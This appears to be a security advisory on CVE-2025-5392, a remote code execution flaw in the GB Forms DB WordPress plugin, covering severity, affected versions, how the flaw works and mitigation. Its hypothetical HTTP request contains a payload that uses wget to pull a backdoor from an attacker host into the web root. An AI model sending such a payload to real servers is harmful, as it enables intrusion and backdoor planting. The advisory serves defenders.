Overview
CVE-2025-5392 is a highly critical cybersecurity vulnerability found in the GB Forms DB plugin for WordPress, affecting all versions up to and including 1.0.2. This vulnerability is significant as it allows for Remote Code Execution (RCE), a potent type of cyber attack where an attacker can run arbitrary code remotely on the victim’s server. In the cyber world, RCE vulnerabilities are considered high-impact threats due to their potential to compromise entire systems, and this one is no exception.
This vulnerability matters because it gives unauthenticated attackers the ability to manipulate the gbfdb_talk_to_front() function of the GB Forms DB plugin, leading to the execution of malicious code on the server. This could potentially enable attackers to inject backdoors or create new administrative user accounts, among other damaging actions, putting data integrity and system security at risk.
Vulnerability Summary
CVE ID: CVE-2025-5392
Severity: Critical – CVSS Score 9.8
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage
Affected Products
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Product | Affected Versions
GB Forms DB Plugin for WordPress | Up to and including 1.0.2
How the Exploit Works
The vulnerability lies within the gbfdb_talk_to_front() function of the GB Forms DB plugin for WordPress. This function accepts user input and passes it through the call_user_func() function. By exploiting this vulnerability, unauthenticated attackers can pass malicious code as user input, which is then executed on the server, leading to remote code execution.
Conceptual Example Code
Below is a conceptual example of how this vulnerability might be exploited. This is a hypothetical HTTP request, with a malicious payload injected as user input:
POST /gbfdb_talk_to_front HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "user_input": "call_user_func('system', 'wget http://attacker.com/backdoor.php -O /var/www/html/backdoor.php')" }In this example, the attacker is using the system function to download a backdoor shell script from their server and place it in the web root directory of the target server.
Mitigation
The easiest and most effective mitigation for this vulnerability is to apply the vendor’s patch. If a patch is not immediately available or applicable, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation. These tools can be configured to identify and block attempts at exploiting this vulnerability. Regardless, it is crucial to apply the vendor patch as soon as it’s available.